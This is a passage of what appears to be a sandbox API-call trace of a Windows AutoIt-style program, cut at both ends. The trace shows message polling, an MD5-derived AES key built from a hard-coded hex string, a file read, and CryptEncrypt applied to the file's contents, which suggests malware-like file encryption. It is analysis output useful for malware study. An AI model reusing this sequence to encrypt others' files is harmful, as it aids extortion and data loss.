wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.817] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.817] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.817] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.817] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.817] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.817] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 1 [0027.817] TranslateMessage (lpMsg=0xe8f3dfe760) returned 0 [0027.817] DispatchMessageW (lpMsg=0xe8f3dfe760) returned 0x0 [0027.817] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfdd90) returned 1 [0027.818] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0027.818] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0027.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0027.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b1b0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0027.819] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0027.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b0c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0027.820] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.820] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0027.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417b080, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0027.821] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0027.821] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b3f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.822] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.822] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.822] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.822] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0027.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0xe8f417b0e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0027.823] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDeriveKey") returned 0x7ffe2a5eb060 [0027.823] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.824] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.824] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.824] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.825] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.826] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.826] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xad25, lpOverlapped=0x0) returned 1 [0027.827] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.829] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.829] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.829] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.830] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.830] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.831] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0027.832] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0027.832] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064d30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.832] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.833] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.835] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.835] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xad25, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xad30) returned 1 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] CharLowerBuffW (in: lpsz="byte[44337]", cchLength=0xb | out: lpsz="byte[44337]") returned 0xb [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.835] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.835] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.835] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f439a7c0*, pdwDataLen=0xe8f3dfdf68*=0xad25, dwBufLen=0xad30 | out: pbData=0xe8f439a7c0*, pdwDataLen=0xe8f3dfdf68*=0xad30) returned 1 [0027.835] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 